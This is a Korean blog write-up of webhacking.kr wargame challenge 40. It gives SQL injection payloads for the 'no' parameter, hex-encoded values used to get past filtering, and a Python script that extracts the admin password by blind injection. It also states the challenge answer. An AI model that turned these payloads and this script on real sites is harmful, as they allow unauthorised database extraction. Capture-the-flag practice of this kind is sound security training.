본문 바로가기

Wargame, CTF/webhacking.kr

Webhacking.kr 40번

 

메인화면
login했을 때

get방식으로 전송된다

이것 저것 해보다 no에서 injection이 가능

no값에

2||no=2를 주면

 

admin페이지?

이런 admin페이지 같은게 나온다

admin의 pw를 blind injection으로 구하면 됨

 

일단 pw의 길이를 알아내기위해

0||id='admin'&&length(pw)>0을 해봤는데 fail이라고 뜬다

삽질하다 hex값으로 저장되있는것을 찾음

admin을 0x61646d696e이렇게 바꿔서 보내주어야한다

 

0||id=0x61646d696e&&length(pw)=10

admin의 pw는 10자리

pw도 hex값으로 저장되어있을것 같으니 hex값으로 찾는다

 

첫글자는 0x6c인걸로 찾아놓고

import requests

url = "https://webhacking.kr/challenge/web-29/"
session = requests.Session()
cookie={"PHPSESSID":"gfphkap47rugn7sgmm59tukl35"}
password = "0x6c"
realpw="L"
for i in range(2,30):
    for j in range(43,127):
        req=session.get(url+"?no=1||id=0x61646d696e%26%26left(pw,"+str(i)+")="+password+format(j,'x')+"&id=gue&pw=gue",cookies=cookie)
        if("admin" in req.text):
            password += format(j,'x')
            realpw += chr(j)
            print(chr(j)+"is Correct!!!")
            break
        print(chr(j))
    print(realpw)
print(realpw)

admin의 pw는

luck_admin

 

클리어

 

'Wargame, CTF > webhacking.kr' 카테고리의 다른 글

Webhacking.kr 57번  (0) 2020.01.03
Webhacking.kr 45번  (0) 2020.01.03
Webhacking.kr 22번  (0) 2020.01.03
Webhacking.kr 2번  (0) 2020.01.02
Webhacking.kr 50번  (0) 2020.01.02